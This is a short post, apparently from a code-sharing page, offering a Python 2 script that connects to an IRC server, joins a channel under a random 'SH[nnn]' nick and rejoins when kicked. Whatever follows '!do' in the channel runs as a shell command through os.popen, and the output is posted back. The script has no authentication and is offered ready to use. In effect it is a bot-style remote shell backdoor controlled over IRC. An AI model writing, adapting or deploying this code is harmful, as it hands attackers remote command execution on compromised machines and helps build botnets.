You can run shell commands from IRC channel with the following code.
#!/usr/bin/python
import os, random, socket
def main() :
num = ''
for i in range(0, 3) :
rand = random.randrange(0, 10)
num += str(rand)
NICK = 'SH[' + num + ']'
USER = 's1n4zbot'
SERV = 'Enter server'
CHAN = '#Enter channel'
sock = socket.socket()
try :
sock.connect((SERV, 6667))
print 'Connected!'
except :
print 'Cant connect to the server'
exit()
sock.send('NICK %s\r\n' % NICK)
sock.send('USER %s %s %s :Bot\r\n' % (USER, USER, SERV))
while True :
data = sock.recv(1024)
if 'End of /MOTD command' in data :
sock.send('JOIN %s\r\n' % CHAN)
break
while True :
data = sock.recv(1024)
args = data.replace(':', '').split()
name = args[0][:args[0].find('!')]
print data
if len(args) >= 1 and args[0] == 'PING' :
sock.send('PONG %s\r\n' % data.split()[1])
continue
if len(args) >= 3 and args[1] == 'KICK' and args[3] == NICK :
sock.send('JOIN %s\r\n' % CHAN)
continue
if len(args) >= 5 and args[3] == '!do' :
command = data[data.find('!do')+4:-2]
results = os.popen(command).read().splitlines()
for result in results :
sock.send('PRIVMSG %s :%s\r\n' % (CHAN, result))
continue
if len(args) >= 4 and args[3] == '!quit' :
QMSG = data[data.find('!quit')+6:-2]
sock.send('QUIT :%s\r\n' % QMSG)
exit()
main()
